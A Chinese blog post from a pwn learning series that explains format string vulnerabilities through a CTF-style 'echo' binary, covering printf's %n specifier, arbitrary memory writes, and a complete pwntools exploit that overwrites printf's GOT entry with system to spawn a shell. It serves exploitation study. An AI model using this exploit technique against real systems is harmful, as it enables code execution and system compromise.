Pwn学习总结(9):格式化字符串漏洞 echo

实验平台:

x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4

实验Binary及答案:

https://github.com/bjrjk/pwn-learning/tree/main/FormatString/echo

首先来看ELF的安全性:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可覆写GOT表,无Canary,无PIE。
对于本题,我们来看一下IDA反编译之后的结果。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[256]; // [esp+Ch] [ebp-10Ch] BYREF
  unsigned int v4; // [esp+10Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  do
  {
    fgets(s, 256, stdin);
    printf(s);
  }
  while ( strcmp(s, "exit\n") );
  system("echo Goodbye");
  exit(0);
}

我们观察到,第12行处使用了printf(s)且s是用户可控的输入。这种代码是有漏洞的,仅以一个普通printf使用者的眼光来看,如果我们向s中存入%d的话,相应的就可以打印出栈(i386/amd64)或寄存器(amd64)中的一个整形数据了,造成了内部信息的泄漏。该漏洞的名字叫做格式化字符串漏洞。

但其实printf的参数不仅仅限于我们平时所学习的课程中那些简单的,还有一些不为人知的,例如%n参数,这个参数的利用使得任意内存地址写成为可能。我们下面来详细看一下这个参数[2]:

      n      The number of characters written so far is stored into the
              integer pointed to by the corresponding argument.  That
              argument shall be an int *, or variant whose size matches
              the (optionally) supplied integer length modifier.  No
              argument is converted.  (This specifier is not supported
              by the bionic C library.)  The behavior is undefined if
              the conversion specification includes any flags, a field
              width, or a precision.

到目前为止已写入的字符数目,会被写入对应传入的整形地址(4字节)中。要注意的是,这个%n只适用于*nix类操作系统,对于windows系统是不适用的。

       hh     A following integer conversion corresponds to a signed
              char or unsigned char argument, or a following n
              conversion corresponds to a pointer to a signed char
              argument.

       h      A following integer conversion corresponds to a short or
              unsigned short argument, or a following n conversion
              corresponds to a pointer to a short argument.

%n还可以变为%hhn%hn,改为覆写1字节和2字节。

   Format of the format string
       The format string is a character string, beginning and ending in
       its initial shift state, if any.  The format string is composed
       of zero or more directives: ordinary characters (not %), which
       are copied unchanged to the output stream; and conversion
       specifications, each of which results in fetching zero or more
       subsequent arguments.  Each conversion specification is
       introduced by the character %, and ends with a conversion
       specifier.  In between there may be (in this order) zero or more
       flags, an optional minimum field width, an optional precision and
       an optional length modifier.

       The overall syntax of a conversion specification is:

           %[][flags][width][.precision][length modifier]conversion

       The arguments must correspond properly (after type promotion)
       with the conversion specifier.  By default, the arguments are
       used in the order given, where each '*' (see Field width and
       Precision below) and each conversion specifier asks for the next
       argument (and it is an error if insufficiently many arguments are
       given).  One can also specify explicitly which argument is taken,
       at each place where an argument is required, by writing "%m"
       instead of '%' and "*m" instead of '*', where the decimal
       integer m denotes the position in the argument list of the
       desired argument, indexed starting from 1.  Thus,

           printf("%*d", width, num);

       and

           printf("%2*1d", width, num);

       are equivalent.  The second style allows repeated references to
       the same argument.  The C99 standard does not include the style
       using '', which comes from the Single UNIX Specification.  If
       the style using '' is used, it must be used throughout for all
       conversions taking an argument and all width and precision
       arguments, but it may be mixed with "%%" formats, which do not
       consume an argument.  There may be no gaps in the numbers of
       arguments specified using ''; for example, if arguments 1 and 3
       are specified, argument 2 must also be specified somewhere in the
       format string.

我们可以用形如%k$n这样的写法来表示你要写入第k个参数,其中k是一个数字。

下面举一个例子,假设有如下源代码:

#include <stdio.h>
int main(){
    int x, y;
    printf("0123456789%n\n", &x);
    printf("1234%3$n\n", 0, 0, &y);
    printf("%d %d\n", x, y);
    return 0;
}

输出应为:

0123456789
1234
10 4

好了,我们已经了解了%n的作用,我们大致来讲一下怎么利用%n达到任意内存地址写的原理。此处以i386为例。我们在输入的字符串中包括要写入的内存地址(需要对齐)和打印的填充字符,再接上形似%k$n的格式化字符串,使得第k个参数地址恰好存放写入的内存地址,这样就利用printf完成了任意内存写的操作。

实际应用中,为了避免%n一次性写入的字符过多导致printf崩溃,一般多次连续使用%hhn,每次只写入一个字节。

与此同时,pwntools库中也有成熟的格式化字符串payload构造器fmtstr_payload[3],我们可以直接使用。

我本身的想法是去搞控制流转移和ret2libc,后来一看[1]的答案,发现还能这么玩!?
直接把system的plt地址写到printf的got地址处,然后传/bin/sh字符串进去就getshell了,十分的简单。

answer_echo.py如下:

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math
context(arch = "i386",os = "linux", log_level = "debug")

p = process('./echo')
elf = ELF('./echo')

printf_got = elf.got['printf']
system_plt = elf.plt['system']

payload = fmtstr_payload(7, {printf_got: system_plt})

p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

getshell成功:

参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78512274
[2] https://man7.org/linux/man-pages/man3/printf.3.html
[3] https://docs.pwntools.com/en/latest/fmtstr.html?highlight=fmtstr_payload#pwnlib.fmtstr.fmtstr_payload

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注